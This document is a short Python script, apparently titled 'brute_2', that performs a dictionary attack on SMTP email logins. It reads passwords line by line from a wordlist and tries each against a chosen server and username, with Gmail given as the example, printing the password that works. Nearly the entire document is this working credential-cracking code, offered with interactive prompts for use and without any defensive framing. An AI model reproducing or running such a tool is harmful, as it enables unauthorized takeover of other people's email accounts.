brute_2

import smtplib,os
def startcrack(host,user,passfile,port=587):
    server=smtplib.SMTP(host,587)
    server.starttls()
    for line in passfile :
        password=line.rstrip('\n')
        try:
            server.login(user,password)
            print('Password is '+password)
            server.close()
            break
        except:
            print(password+' is not the password')
            flag=0

decision=1
while decision==1:
    host=raw_input('''Enter the host server smtp link
Example: For gmail it is "smtp.gmail.com"
=>''')
    port=input('''Enter the smtp open port of the server
Example: For gmail it is 587
=>''')
    user=raw_input('Enter the username:')
    pas=raw_input('Enter the location of password file:')
    passfile=open(pas,'r')
    startcrack(host,user,passfile,port)
    decision=input('1.Run again \n2.Exit \n==>')
    if decision==2:
        exit()
Things to be taken care of:
You can’t use it